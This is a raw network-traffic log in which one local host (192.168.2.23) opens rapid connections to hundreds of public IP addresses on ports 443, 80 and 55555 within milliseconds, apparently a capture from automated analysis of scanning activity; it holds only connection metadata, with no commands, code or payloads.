Mar 2, 2024 12:36:51.822442055 CET	50182	443	192.168.2.23	210.244.1.32
Mar 2, 2024 12:36:51.822444916 CET	443	50182	178.185.93.64	192.168.2.23
Mar 2, 2024 12:36:51.822452068 CET	443	50182	79.22.212.212	192.168.2.23
Mar 2, 2024 12:36:51.822455883 CET	50182	443	192.168.2.23	37.211.91.190
Mar 2, 2024 12:36:51.822455883 CET	50182	443	192.168.2.23	2.184.42.254
Mar 2, 2024 12:36:51.822455883 CET	50182	443	192.168.2.23	212.88.180.165
Mar 2, 2024 12:36:51.822455883 CET	50182	443	192.168.2.23	210.239.184.98
Mar 2, 2024 12:36:51.822458982 CET	50182	443	192.168.2.23	118.165.177.13
Mar 2, 2024 12:36:51.822458982 CET	50182	443	192.168.2.23	94.63.28.74
Mar 2, 2024 12:36:51.822463036 CET	443	50182	37.211.91.190	192.168.2.23
Mar 2, 2024 12:36:51.822463989 CET	443	50182	212.88.180.165	192.168.2.23
Mar 2, 2024 12:36:51.822467089 CET	443	50182	210.244.1.32	192.168.2.23
Mar 2, 2024 12:36:51.822467089 CET	443	50182	118.165.177.13	192.168.2.23
Mar 2, 2024 12:36:51.822468042 CET	443	50182	210.239.184.98	192.168.2.23
Mar 2, 2024 12:36:51.822477102 CET	443	50182	94.63.28.74	192.168.2.23
Mar 2, 2024 12:36:51.822482109 CET	50182	443	192.168.2.23	210.49.88.203
Mar 2, 2024 12:36:51.822484970 CET	50182	443	192.168.2.23	109.32.162.248
Mar 2, 2024 12:36:51.822484970 CET	50182	443	192.168.2.23	212.50.149.178
Mar 2, 2024 12:36:51.822488070 CET	443	50182	210.49.88.203	192.168.2.23
Mar 2, 2024 12:36:51.822491884 CET	443	50182	109.32.162.248	192.168.2.23
Mar 2, 2024 12:36:51.822494984 CET	443	50182	212.50.149.178	192.168.2.23
Mar 2, 2024 12:36:51.822495937 CET	50182	443	192.168.2.23	178.185.93.64
Mar 2, 2024 12:36:51.822495937 CET	50182	443	192.168.2.23	118.165.177.13
Mar 2, 2024 12:36:51.822499990 CET	50182	443	192.168.2.23	79.22.212.212
Mar 2, 2024 12:36:51.822499990 CET	50182	443	192.168.2.23	210.244.1.32
Mar 2, 2024 12:36:51.822506905 CET	50182	443	192.168.2.23	210.239.184.98
Mar 2, 2024 12:36:51.822508097 CET	50182	443	192.168.2.23	37.211.91.190
Mar 2, 2024 12:36:51.822511911 CET	50182	443	192.168.2.23	212.88.180.165
Mar 2, 2024 12:36:51.822523117 CET	50182	443	192.168.2.23	94.63.28.74
Mar 2, 2024 12:36:51.822524071 CET	50182	443	192.168.2.23	210.49.88.203
Mar 2, 2024 12:36:51.822530031 CET	50182	443	192.168.2.23	109.32.162.248
Mar 2, 2024 12:36:51.822535038 CET	55558	80	192.168.2.23	112.229.88.10
Mar 2, 2024 12:36:51.822535038 CET	55558	80	192.168.2.23	52.17.31.228
Mar 2, 2024 12:36:51.822545052 CET	50182	443	192.168.2.23	212.50.149.178
Mar 2, 2024 12:36:51.822546005 CET	55558	80	192.168.2.23	143.180.80.167
Mar 2, 2024 12:36:51.822547913 CET	55558	80	192.168.2.23	179.118.163.14
Mar 2, 2024 12:36:51.822555065 CET	55558	80	192.168.2.23	19.135.93.147
Mar 2, 2024 12:36:51.822555065 CET	55558	80	192.168.2.23	5.182.114.204
Mar 2, 2024 12:36:51.822567940 CET	55558	80	192.168.2.23	76.176.68.95
Mar 2, 2024 12:36:51.822568893 CET	55558	80	192.168.2.23	75.147.15.76
Mar 2, 2024 12:36:51.822568893 CET	55558	80	192.168.2.23	162.132.243.69
Mar 2, 2024 12:36:51.822582006 CET	55558	80	192.168.2.23	60.50.181.233
Mar 2, 2024 12:36:51.822582006 CET	55558	80	192.168.2.23	211.1.94.52
Mar 2, 2024 12:36:51.822587967 CET	55302	55555	192.168.2.23	98.9.228.125
Mar 2, 2024 12:36:51.822587967 CET	55558	80	192.168.2.23	162.196.90.83
Mar 2, 2024 12:36:51.822588921 CET	55558	80	192.168.2.23	115.36.139.37
Mar 2, 2024 12:36:51.822593927 CET	55558	80	192.168.2.23	184.14.178.16
Mar 2, 2024 12:36:51.822593927 CET	55558	80	192.168.2.23	189.208.26.178
Mar 2, 2024 12:36:51.822593927 CET	55558	80	192.168.2.23	135.200.71.171
Mar 2, 2024 12:36:51.822596073 CET	55558	80	192.168.2.23	197.217.84.240
Mar 2, 2024 12:36:51.822596073 CET	55558	80	192.168.2.23	107.37.246.246
Mar 2, 2024 12:36:51.822596073 CET	55558	80	192.168.2.23	85.47.211.103
Mar 2, 2024 12:36:51.822601080 CET	55302	55555	192.168.2.23	98.238.142.120
Mar 2, 2024 12:36:51.822607040 CET	55302	55555	192.168.2.23	184.108.237.17
Mar 2, 2024 12:36:51.822607040 CET	55558	80	192.168.2.23	154.40.36.47
Mar 2, 2024 12:36:51.822621107 CET	55302	55555	192.168.2.23	98.248.61.88
Mar 2, 2024 12:36:51.822624922 CET	55302	55555	192.168.2.23	172.230.167.177
Mar 2, 2024 12:36:51.822624922 CET	55558	80	192.168.2.23	89.171.76.190
Mar 2, 2024 12:36:51.822626114 CET	55558	80	192.168.2.23	152.181.85.106
Mar 2, 2024 12:36:51.822626114 CET	55302	55555	192.168.2.23	98.149.217.120
Mar 2, 2024 12:36:51.822627068 CET	55302	55555	192.168.2.23	172.208.39.5
Mar 2, 2024 12:36:51.822632074 CET	55302	55555	192.168.2.23	98.19.221.215
Mar 2, 2024 12:36:51.822633982 CET	55302	55555	192.168.2.23	172.159.119.125
Mar 2, 2024 12:36:51.822633982 CET	55558	80	192.168.2.23	83.49.158.73
Mar 2, 2024 12:36:51.822633982 CET	55302	55555	192.168.2.23	184.187.136.101
Mar 2, 2024 12:36:51.822635889 CET	55302	55555	192.168.2.23	184.233.99.128
Mar 2, 2024 12:36:51.822635889 CET	55302	55555	192.168.2.23	98.146.39.197
Mar 2, 2024 12:36:51.822635889 CET	55302	55555	192.168.2.23	98.98.72.117
Mar 2, 2024 12:36:51.822647095 CET	55558	80	192.168.2.23	46.221.178.244
Mar 2, 2024 12:36:51.822647095 CET	55302	55555	192.168.2.23	172.57.239.170
Mar 2, 2024 12:36:51.822653055 CET	55558	80	192.168.2.23	71.138.216.169
Mar 2, 2024 12:36:51.822653055 CET	55558	80	192.168.2.23	13.208.66.196
Mar 2, 2024 12:36:51.822660923 CET	55302	55555	192.168.2.23	184.53.189.124
Mar 2, 2024 12:36:51.822660923 CET	55302	55555	192.168.2.23	98.19.113.228
Mar 2, 2024 12:36:51.822660923 CET	55302	55555	192.168.2.23	98.195.110.136
Mar 2, 2024 12:36:51.822665930 CET	55302	55555	192.168.2.23	172.187.209.210
Mar 2, 2024 12:36:51.822665930 CET	55558	80	192.168.2.23	170.99.29.85
Mar 2, 2024 12:36:51.822669029 CET	55558	80	192.168.2.23	138.100.172.190
Mar 2, 2024 12:36:51.822669029 CET	55558	80	192.168.2.23	206.133.245.187
Mar 2, 2024 12:36:51.822669029 CET	55302	55555	192.168.2.23	98.28.217.211
Mar 2, 2024 12:36:51.822669029 CET	55558	80	192.168.2.23	197.28.49.189
Mar 2, 2024 12:36:51.822673082 CET	55302	55555	192.168.2.23	184.193.242.161
Mar 2, 2024 12:36:51.822674036 CET	55302	55555	192.168.2.23	98.162.162.126
Mar 2, 2024 12:36:51.822673082 CET	55558	80	192.168.2.23	35.103.196.129
Mar 2, 2024 12:36:51.822674036 CET	55558	80	192.168.2.23	107.196.127.72
Mar 2, 2024 12:36:51.822685957 CET	55302	55555	192.168.2.23	172.220.149.249
Mar 2, 2024 12:36:51.822685957 CET	55558	80	192.168.2.23	194.230.14.93
Mar 2, 2024 12:36:51.822685957 CET	55302	55555	192.168.2.23	184.191.171.238
Mar 2, 2024 12:36:51.822688103 CET	55558	80	192.168.2.23	199.124.198.173
Mar 2, 2024 12:36:51.822694063 CET	55558	80	192.168.2.23	142.214.71.35
Mar 2, 2024 12:36:51.822695971 CET	55302	55555	192.168.2.23	184.113.87.89
Mar 2, 2024 12:36:51.822696924 CET	55558	80	192.168.2.23	126.133.57.252
Mar 2, 2024 12:36:51.822700977 CET	55558	80	192.168.2.23	31.91.31.2
Mar 2, 2024 12:36:51.822700977 CET	55558	80	192.168.2.23	91.154.31.91
Mar 2, 2024 12:36:51.822701931 CET	55558	80	192.168.2.23	218.184.220.237
Mar 2, 2024 12:36:51.822701931 CET	55558	80	192.168.2.23	93.102.185.25
Mar 2, 2024 12:36:51.822705984 CET	55302	55555	192.168.2.23	184.10.176.173
Mar 2, 2024 12:36:51.822710037 CET	55302	55555	192.168.2.23	172.45.151.234
Mar 2, 2024 12:36:51.822710037 CET	55302	55555	192.168.2.23	184.240.50.192
Mar 2, 2024 12:36:51.822707891 CET	55558	80	192.168.2.23	86.131.159.159
Mar 2, 2024 12:36:51.822710037 CET	55558	80	192.168.2.23	222.68.71.247
Mar 2, 2024 12:36:51.822707891 CET	55302	55555	192.168.2.23	98.136.206.161
Mar 2, 2024 12:36:51.822710037 CET	55558	80	192.168.2.23	105.55.204.206
Mar 2, 2024 12:36:51.822707891 CET	55558	80	192.168.2.23	44.45.130.209
Mar 2, 2024 12:36:51.822710037 CET	55558	80	192.168.2.23	116.64.226.171
Mar 2, 2024 12:36:51.822714090 CET	55302	55555	192.168.2.23	98.106.250.102
Mar 2, 2024 12:36:51.822714090 CET	55558	80	192.168.2.23	151.254.148.239
Mar 2, 2024 12:36:51.822719097 CET	55558	80	192.168.2.23	62.106.118.154
Mar 2, 2024 12:36:51.822731018 CET	55558	80	192.168.2.23	208.31.90.125
Mar 2, 2024 12:36:51.822731018 CET	50182	443	192.168.2.23	2.129.79.140
Mar 2, 2024 12:36:51.822731972 CET	55558	80	192.168.2.23	122.129.128.7
Mar 2, 2024 12:36:51.822735071 CET	55302	55555	192.168.2.23	98.33.247.39
Mar 2, 2024 12:36:51.822735071 CET	55302	55555	192.168.2.23	184.219.174.82
Mar 2, 2024 12:36:51.822735071 CET	55302	55555	192.168.2.23	172.180.37.73
Mar 2, 2024 12:36:51.822735071 CET	55558	80	192.168.2.23	117.134.49.127
Mar 2, 2024 12:36:51.822735071 CET	55302	55555	192.168.2.23	172.37.87.219
Mar 2, 2024 12:36:51.822735071 CET	55558	80	192.168.2.23	8.55.117.15
Mar 2, 2024 12:36:51.822735071 CET	50182	443	192.168.2.23	178.49.105.121
Mar 2, 2024 12:36:51.822746038 CET	55558	80	192.168.2.23	143.245.64.101
Mar 2, 2024 12:36:51.822746038 CET	55558	80	192.168.2.23	164.103.55.155
Mar 2, 2024 12:36:51.822746992 CET	55558	80	192.168.2.23	41.101.24.71
Mar 2, 2024 12:36:51.822746038 CET	55302	55555	192.168.2.23	172.219.233.251
Mar 2, 2024 12:36:51.822747946 CET	55558	80	192.168.2.23	54.221.103.139
Mar 2, 2024 12:36:51.822746992 CET	55558	80	192.168.2.23	78.0.2.56
Mar 2, 2024 12:36:51.822750092 CET	55302	55555	192.168.2.23	98.98.10.147
Mar 2, 2024 12:36:51.822746992 CET	55302	55555	192.168.2.23	172.212.59.39
Mar 2, 2024 12:36:51.822750092 CET	50182	443	192.168.2.23	42.210.210.195
Mar 2, 2024 12:36:51.822746038 CET	55302	55555	192.168.2.23	184.62.5.68
Mar 2, 2024 12:36:51.822746992 CET	50182	443	192.168.2.23	118.173.70.37
Mar 2, 2024 12:36:51.822747946 CET	50182	443	192.168.2.23	2.113.130.48
Mar 2, 2024 12:36:51.822746038 CET	50182	443	192.168.2.23	42.166.97.138
Mar 2, 2024 12:36:51.822752953 CET	50182	443	192.168.2.23	42.145.225.206
Mar 2, 2024 12:36:51.822747946 CET	50182	443	192.168.2.23	37.57.58.10
Mar 2, 2024 12:36:51.822746038 CET	50182	443	192.168.2.23	5.171.117.88
Mar 2, 2024 12:36:51.822747946 CET	50182	443	192.168.2.23	2.2.119.153
Mar 2, 2024 12:36:51.822752953 CET	443	50182	2.129.79.140	192.168.2.23
Mar 2, 2024 12:36:51.822747946 CET	55302	55555	192.168.2.23	184.160.227.154
Mar 2, 2024 12:36:51.822752953 CET	50182	443	192.168.2.23	2.64.214.160
Mar 2, 2024 12:36:51.822752953 CET	55302	55555	192.168.2.23	98.161.31.250
Mar 2, 2024 12:36:51.822762012 CET	443	50182	42.210.210.195	192.168.2.23
Mar 2, 2024 12:36:51.822767973 CET	443	50182	178.49.105.121	192.168.2.23
Mar 2, 2024 12:36:51.822768927 CET	55302	55555	192.168.2.23	98.167.203.3
Mar 2, 2024 12:36:51.822770119 CET	55302	55555	192.168.2.23	172.151.132.22
Mar 2, 2024 12:36:51.822770119 CET	50182	443	192.168.2.23	2.18.225.4
Mar 2, 2024 12:36:51.822771072 CET	443	50182	118.173.70.37	192.168.2.23
Mar 2, 2024 12:36:51.822772980 CET	55302	55555	192.168.2.23	172.186.159.80
Mar 2, 2024 12:36:51.822772980 CET	50182	443	192.168.2.23	2.60.111.159
Mar 2, 2024 12:36:51.822773933 CET	443	50182	2.113.130.48	192.168.2.23
Mar 2, 2024 12:36:51.822772980 CET	50182	443	192.168.2.23	212.213.130.128
Mar 2, 2024 12:36:51.822776079 CET	443	50182	42.166.97.138	192.168.2.23
Mar 2, 2024 12:36:51.822781086 CET	443	50182	42.145.225.206	192.168.2.23
Mar 2, 2024 12:36:51.822782993 CET	443	50182	2.18.225.4	192.168.2.23
Mar 2, 2024 12:36:51.822781086 CET	55302	55555	192.168.2.23	98.14.223.135
Mar 2, 2024 12:36:51.822783947 CET	443	50182	2.64.214.160	192.168.2.23
Mar 2, 2024 12:36:51.822781086 CET	55302	55555	192.168.2.23	184.104.19.236
Mar 2, 2024 12:36:51.822786093 CET	443	50182	37.57.58.10	192.168.2.23
Mar 2, 2024 12:36:51.822787046 CET	50182	443	192.168.2.23	2.185.157.243
Mar 2, 2024 12:36:51.822781086 CET	55302	55555	192.168.2.23	184.103.57.28
Mar 2, 2024 12:36:51.822787046 CET	55302	55555	192.168.2.23	184.101.76.135
Mar 2, 2024 12:36:51.822784901 CET	443	50182	5.171.117.88	192.168.2.23
Mar 2, 2024 12:36:51.822787046 CET	50182	443	192.168.2.23	2.168.228.104
Mar 2, 2024 12:36:51.822781086 CET	55302	55555	192.168.2.23	184.164.134.69
Mar 2, 2024 12:36:51.822784901 CET	55302	55555	192.168.2.23	98.135.146.77
Mar 2, 2024 12:36:51.822787046 CET	443	50182	2.60.111.159	192.168.2.23
Mar 2, 2024 12:36:51.822786093 CET	50182	443	192.168.2.23	118.186.242.178
Mar 2, 2024 12:36:51.822781086 CET	55302	55555	192.168.2.23	172.84.205.201
Mar 2, 2024 12:36:51.822786093 CET	50182	443	192.168.2.23	210.97.190.124
Mar 2, 2024 12:36:51.822781086 CET	50182	443	192.168.2.23	79.63.255.105
Mar 2, 2024 12:36:51.822786093 CET	50182	443	192.168.2.23	37.225.180.90
Mar 2, 2024 12:36:51.822781086 CET	50182	443	192.168.2.23	210.14.154.113
Mar 2, 2024 12:36:51.822789907 CET	50182	443	192.168.2.23	5.177.100.119
Mar 2, 2024 12:36:51.822789907 CET	50182	443	192.168.2.23	94.208.80.240
Mar 2, 2024 12:36:51.822789907 CET	50182	443	192.168.2.23	178.171.102.240
Mar 2, 2024 12:36:51.822789907 CET	50182	443	192.168.2.23	109.25.22.187
Mar 2, 2024 12:36:51.822789907 CET	55302	55555	192.168.2.23	172.25.203.136
Mar 2, 2024 12:36:51.822799921 CET	443	50182	2.185.157.243	192.168.2.23
Mar 2, 2024 12:36:51.822804928 CET	443	50182	2.2.119.153	192.168.2.23
Mar 2, 2024 12:36:51.822803020 CET	55302	55555	192.168.2.23	98.37.135.232
Mar 2, 2024 12:36:51.822803020 CET	50182	443	192.168.2.23	94.72.155.32
Mar 2, 2024 12:36:51.822804928 CET	55302	55555	192.168.2.23	184.17.209.162
Mar 2, 2024 12:36:51.822804928 CET	50182	443	192.168.2.23	94.16.78.122
Mar 2, 2024 12:36:51.822804928 CET	55302	55555	192.168.2.23	98.77.36.89
Mar 2, 2024 12:36:51.822808027 CET	443	50182	118.186.242.178	192.168.2.23
Mar 2, 2024 12:36:51.822804928 CET	55302	55555	192.168.2.23	172.152.114.126
Mar 2, 2024 12:36:51.822804928 CET	50182	443	192.168.2.23	42.166.97.138
Mar 2, 2024 12:36:51.822813034 CET	443	50182	2.168.228.104	192.168.2.23
Mar 2, 2024 12:36:51.822813988 CET	443	50182	94.208.80.240	192.168.2.23
Mar 2, 2024 12:36:51.822813988 CET	50182	443	192.168.2.23	94.38.239.149
Mar 2, 2024 12:36:51.822814941 CET	443	50182	212.213.130.128	192.168.2.23
Mar 2, 2024 12:36:51.822814941 CET	443	50182	5.177.100.119	192.168.2.23
Mar 2, 2024 12:36:51.822813988 CET	55302	55555	192.168.2.23	172.241.48.127
Mar 2, 2024 12:36:51.822815895 CET	55302	55555	192.168.2.23	184.248.64.100
Mar 2, 2024 12:36:51.822818995 CET	443	50182	178.171.102.240	192.168.2.23
Mar 2, 2024 12:36:51.822818041 CET	443	50182	79.63.255.105	192.168.2.23
Mar 2, 2024 12:36:51.822818995 CET	50182	443	192.168.2.23	178.49.105.121
Mar 2, 2024 12:36:51.822815895 CET	50182	443	192.168.2.23	37.135.135.132
Mar 2, 2024 12:36:51.822820902 CET	443	50182	210.97.190.124	192.168.2.23
Mar 2, 2024 12:36:51.822813988 CET	50182	443	192.168.2.23	109.66.113.142
Mar 2, 2024 12:36:51.822815895 CET	55302	55555	192.168.2.23	184.130.44.34
Mar 2, 2024 12:36:51.822813988 CET	55302	55555	192.168.2.23	98.133.32.75
Mar 2, 2024 12:36:51.822813988 CET	50182	443	192.168.2.23	42.190.117.108
Mar 2, 2024 12:36:51.822823048 CET	443	50182	94.72.155.32	192.168.2.23
Mar 2, 2024 12:36:51.822825909 CET	50182	443	192.168.2.23	178.157.252.196
Mar 2, 2024 12:36:51.822815895 CET	55302	55555	192.168.2.23	184.175.45.247
Mar 2, 2024 12:36:51.822828054 CET	443	50182	210.14.154.113	192.168.2.23
Mar 2, 2024 12:36:51.822828054 CET	443	50182	109.25.22.187	192.168.2.23
Mar 2, 2024 12:36:51.822813988 CET	55302	55555	192.168.2.23	184.158.25.191
Mar 2, 2024 12:36:51.822825909 CET	50182	443	192.168.2.23	42.254.59.187
Mar 2, 2024 12:36:51.822813988 CET	50182	443	192.168.2.23	42.145.225.206
Mar 2, 2024 12:36:51.822825909 CET	55302	55555	192.168.2.23	98.74.211.97
Mar 2, 2024 12:36:51.822832108 CET	50182	443	192.168.2.23	109.237.134.111
Mar 2, 2024 12:36:51.822834015 CET	443	50182	94.16.78.122	192.168.2.23
Mar 2, 2024 12:36:51.822832108 CET	50182	443	192.168.2.23	118.173.70.37
Mar 2, 2024 12:36:51.822815895 CET	50182	443	192.168.2.23	212.128.205.191
Mar 2, 2024 12:36:51.822825909 CET	50182	443	192.168.2.23	5.229.191.210
Mar 2, 2024 12:36:51.822815895 CET	55302	55555	192.168.2.23	172.19.24.204
Mar 2, 2024 12:36:51.822835922 CET	443	50182	37.225.180.90	192.168.2.23
Mar 2, 2024 12:36:51.822825909 CET	50182	443	192.168.2.23	2.129.79.140
Mar 2, 2024 12:36:51.822815895 CET	50182	443	192.168.2.23	2.113.130.48
Mar 2, 2024 12:36:51.822839975 CET	50182	443	192.168.2.23	42.210.210.195
Mar 2, 2024 12:36:51.822839975 CET	55302	55555	192.168.2.23	184.127.44.0
Mar 2, 2024 12:36:51.822841883 CET	443	50182	109.237.134.111	192.168.2.23
Mar 2, 2024 12:36:51.822846889 CET	50182	443	192.168.2.23	5.171.117.88
Mar 2, 2024 12:36:51.822848082 CET	55302	55555	192.168.2.23	184.195.106.121
Mar 2, 2024 12:36:51.822846889 CET	443	50182	94.38.239.149	192.168.2.23
Mar 2, 2024 12:36:51.822848082 CET	50182	443	192.168.2.23	2.18.225.4
Mar 2, 2024 12:36:51.822849035 CET	50182	443	192.168.2.23	94.208.80.240
Mar 2, 2024 12:36:51.822851896 CET	443	50182	178.157.252.196	192.168.2.23
Mar 2, 2024 12:36:51.822855949 CET	50182	443	192.168.2.23	94.72.155.32
Mar 2, 2024 12:36:51.822855949 CET	443	50182	37.135.135.132	192.168.2.23
Mar 2, 2024 12:36:51.822865009 CET	443	50182	42.254.59.187	192.168.2.23
Mar 2, 2024 12:36:51.822865963 CET	443	50182	109.66.113.142	192.168.2.23
Mar 2, 2024 12:36:51.822870016 CET	50182	443	192.168.2.23	2.185.157.243
Mar 2, 2024 12:36:51.822871923 CET	443	50182	212.128.205.191	192.168.2.23
Mar 2, 2024 12:36:51.822870970 CET	50182	443	192.168.2.23	2.168.228.104
Mar 2, 2024 12:36:51.822873116 CET	443	50182	42.190.117.108	192.168.2.23
Mar 2, 2024 12:36:51.822874069 CET	50182	443	192.168.2.23	79.63.255.105
Mar 2, 2024 12:36:51.822875023 CET	443	50182	5.229.191.210	192.168.2.23
Mar 2, 2024 12:36:51.822874069 CET	50182	443	192.168.2.23	210.14.154.113
Mar 2, 2024 12:36:51.822880983 CET	50182	443	192.168.2.23	118.186.242.178
Mar 2, 2024 12:36:51.822880983 CET	50182	443	192.168.2.23	210.97.190.124
Mar 2, 2024 12:36:51.822886944 CET	55302	55555	192.168.2.23	172.175.212.14
Mar 2, 2024 12:36:51.822887897 CET	50182	443	192.168.2.23	109.237.134.111
Mar 2, 2024 12:36:51.822886944 CET	50182	443	192.168.2.23	37.57.58.10
Mar 2, 2024 12:36:51.822886944 CET	50182	443	192.168.2.23	2.2.119.153
Mar 2, 2024 12:36:51.822894096 CET	50182	443	192.168.2.23	2.60.111.159
Mar 2, 2024 12:36:51.822894096 CET	50182	443	192.168.2.23	212.213.130.128
Mar 2, 2024 12:36:51.822894096 CET	50182	443	192.168.2.23	178.157.252.196
Mar 2, 2024 12:36:51.822896004 CET	50182	443	192.168.2.23	2.64.214.160
Mar 2, 2024 12:36:51.822896004 CET	50182	443	192.168.2.23	94.38.239.149
Mar 2, 2024 12:36:51.822899103 CET	50182	443	192.168.2.23	94.16.78.122
Mar 2, 2024 12:36:51.822906017 CET	50182	443	192.168.2.23	5.177.100.119
Mar 2, 2024 12:36:51.822906017 CET	50182	443	192.168.2.23	42.254.59.187
Mar 2, 2024 12:36:51.822906971 CET	50182	443	192.168.2.23	37.225.180.90
Mar 2, 2024 12:36:51.822906017 CET	50182	443	192.168.2.23	178.171.102.240
Mar 2, 2024 12:36:51.822906017 CET	50182	443	192.168.2.23	109.25.22.187
Mar 2, 2024 12:36:51.822906017 CET	50182	443	192.168.2.23	109.43.164.22
Mar 2, 2024 12:36:51.822905064 CET	50182	443	192.168.2.23	37.135.135.132
Mar 2, 2024 12:36:51.822905064 CET	50182	443	192.168.2.23	94.213.36.21
Mar 2, 2024 12:36:51.822915077 CET	50182	443	192.168.2.23	5.229.191.210
Mar 2, 2024 12:36:51.822917938 CET	443	50182	94.213.36.21	192.168.2.23
Mar 2, 2024 12:36:51.822918892 CET	50182	443	192.168.2.23	212.69.43.227
Mar 2, 2024 12:36:51.822918892 CET	50182	443	192.168.2.23	109.66.113.142
Mar 2, 2024 12:36:51.822918892 CET	50182	443	192.168.2.23	42.190.117.108
Mar 2, 2024 12:36:51.822921038 CET	50182	443	192.168.2.23	94.153.0.8
Mar 2, 2024 12:36:51.822921991 CET	443	50182	109.43.164.22	192.168.2.23
Mar 2, 2024 12:36:51.822921991 CET	50182	443	192.168.2.23	212.128.205.191
Mar 2, 2024 12:36:51.822930098 CET	443	50182	212.69.43.227	192.168.2.23
Mar 2, 2024 12:36:51.822930098 CET	443	50182	94.153.0.8	192.168.2.23
Mar 2, 2024 12:36:51.822931051 CET	50182	443	192.168.2.23	109.125.79.76
Mar 2, 2024 12:36:51.822937965 CET	443	50182	109.125.79.76	192.168.2.23
Mar 2, 2024 12:36:51.822943926 CET	55302	55555	192.168.2.23	184.75.117.143
Mar 2, 2024 12:36:51.822945118 CET	55302	55555	192.168.2.23	98.203.106.143
Mar 2, 2024 12:36:51.822946072 CET	55302	55555	192.168.2.23	98.88.80.251
Mar 2, 2024 12:36:51.822951078 CET	55302	55555	192.168.2.23	172.110.225.29
Mar 2, 2024 12:36:51.822954893 CET	50182	443	192.168.2.23	94.213.36.21
Mar 2, 2024 12:36:51.822962046 CET	50182	443	192.168.2.23	109.43.164.22
Mar 2, 2024 12:36:51.822962999 CET	50182	443	192.168.2.23	94.153.0.8
Mar 2, 2024 12:36:51.822966099 CET	55302	55555	192.168.2.23	184.174.205.52
Mar 2, 2024 12:36:51.822968006 CET	50182	443	192.168.2.23	212.69.43.227
Mar 2, 2024 12:36:51.822989941 CET	55558	80	192.168.2.23	203.64.245.35
Mar 2, 2024 12:36:51.822989941 CET	55558	80	192.168.2.23	115.11.16.72
Mar 2, 2024 12:36:51.822990894 CET	55302	55555	192.168.2.23	184.217.33.155
Mar 2, 2024 12:36:51.822992086 CET	50182	443	192.168.2.23	109.125.79.76
Mar 2, 2024 12:36:51.822992086 CET	55302	55555	192.168.2.23	172.202.67.137
Mar 2, 2024 12:36:51.822994947 CET	55302	55555	192.168.2.23	172.163.13.94
Mar 2, 2024 12:36:51.823000908 CET	55558	80	192.168.2.23	38.26.29.50
Mar 2, 2024 12:36:51.823003054 CET	55302	55555	192.168.2.23	184.158.188.254
Mar 2, 2024 12:36:51.823009014 CET	55558	80	192.168.2.23	19.77.135.159
Mar 2, 2024 12:36:51.823009014 CET	55302	55555	192.168.2.23	172.38.92.74
Mar 2, 2024 12:36:51.823009968 CET	55302	55555	192.168.2.23	172.95.177.61
Mar 2, 2024 12:36:51.823009968 CET	55302	55555	192.168.2.23	172.132.68.29
Mar 2, 2024 12:36:51.823009968 CET	55302	55555	192.168.2.23	184.249.163.110
Mar 2, 2024 12:36:51.823009968 CET	55558	80	192.168.2.23	158.198.124.198
Mar 2, 2024 12:36:51.823009968 CET	55302	55555	192.168.2.23	184.45.53.169
Mar 2, 2024 12:36:51.823019981 CET	55302	55555	192.168.2.23	172.34.145.21
Mar 2, 2024 12:36:51.823023081 CET	55558	80	192.168.2.23	165.117.158.234
Mar 2, 2024 12:36:51.823024035 CET	55558	80	192.168.2.23	147.12.17.172
Mar 2, 2024 12:36:51.823024035 CET	55558	80	192.168.2.23	57.214.173.131
Mar 2, 2024 12:36:51.823024988 CET	55302	55555	192.168.2.23	184.97.77.214
Mar 2, 2024 12:36:51.823024035 CET	55558	80	192.168.2.23	111.249.21.99
Mar 2, 2024 12:36:51.823026896 CET	55302	55555	192.168.2.23	98.50.243.172
Mar 2, 2024 12:36:51.823041916 CET	55558	80	192.168.2.23	133.112.213.120
Mar 2, 2024 12:36:51.823043108 CET	55302	55555	192.168.2.23	98.146.164.9
Mar 2, 2024 12:36:51.823041916 CET	55558	80	192.168.2.23	189.160.246.135
Mar 2, 2024 12:36:51.823041916 CET	55558	80	192.168.2.23	73.148.57.26
Mar 2, 2024 12:36:51.823043108 CET	55302	55555	192.168.2.23	172.19.52.126
Mar 2, 2024 12:36:51.823044062 CET	55302	55555	192.168.2.23	184.34.29.220
Mar 2, 2024 12:36:51.823043108 CET	55302	55555	192.168.2.23	98.175.184.81
Mar 2, 2024 12:36:51.823044062 CET	55302	55555	192.168.2.23	172.7.122.193
Mar 2, 2024 12:36:51.823045969 CET	55302	55555	192.168.2.23	172.68.25.90
Mar 2, 2024 12:36:51.823044062 CET	55302	55555	192.168.2.23	184.248.25.53
Mar 2, 2024 12:36:51.823045969 CET	55302	55555	192.168.2.23	184.245.160.49
Mar 2, 2024 12:36:51.823044062 CET	55558	80	192.168.2.23	133.112.11.229
Mar 2, 2024 12:36:51.823046923 CET	55302	55555	192.168.2.23	172.130.191.33
Mar 2, 2024 12:36:51.823046923 CET	55558	80	192.168.2.23	205.62.188.64
Mar 2, 2024 12:36:51.823050976 CET	55558	80	192.168.2.23	126.226.38.173
Mar 2, 2024 12:36:51.823051929 CET	55302	55555	192.168.2.23	172.61.13.200
Mar 2, 2024 12:36:51.823051929 CET	55558	80	192.168.2.23	143.235.19.155
Mar 2, 2024 12:36:51.823069096 CET	55558	80	192.168.2.23	151.13.245.156
Mar 2, 2024 12:36:51.823069096 CET	55558	80	192.168.2.23	194.123.93.142
Mar 2, 2024 12:36:51.823071003 CET	55558	80	192.168.2.23	108.54.199.17
Mar 2, 2024 12:36:51.823071957 CET	55302	55555	192.168.2.23	184.223.214.162
Mar 2, 2024 12:36:51.823074102 CET	55558	80	192.168.2.23	8.56.72.243
Mar 2, 2024 12:36:51.823074102 CET	55558	80	192.168.2.23	126.242.239.149
Mar 2, 2024 12:36:51.823071957 CET	55558	80	192.168.2.23	80.65.15.109
Mar 2, 2024 12:36:51.823072910 CET	55558	80	192.168.2.23	203.153.111.111
Mar 2, 2024 12:36:51.823074102 CET	55302	55555	192.168.2.23	98.130.57.86
Mar 2, 2024 12:36:51.823071003 CET	55302	55555	192.168.2.23	172.28.27.137
Mar 2, 2024 12:36:51.823074102 CET	55558	80	192.168.2.23	156.232.151.127
Mar 2, 2024 12:36:51.823076963 CET	55302	55555	192.168.2.23	172.144.99.101
Mar 2, 2024 12:36:51.823071003 CET	55302	55555	192.168.2.23	184.211.125.171
Mar 2, 2024 12:36:51.823071957 CET	55302	55555	192.168.2.23	172.33.140.10
Mar 2, 2024 12:36:51.823072910 CET	55302	55555	192.168.2.23	98.12.137.150
Mar 2, 2024 12:36:51.823071957 CET	55558	80	192.168.2.23	152.24.139.115
Mar 2, 2024 12:36:51.823071003 CET	55302	55555	192.168.2.23	172.108.98.33
Mar 2, 2024 12:36:51.823072910 CET	55302	55555	192.168.2.23	98.53.237.56
Mar 2, 2024 12:36:51.823080063 CET	55558	80	192.168.2.23	211.126.219.18
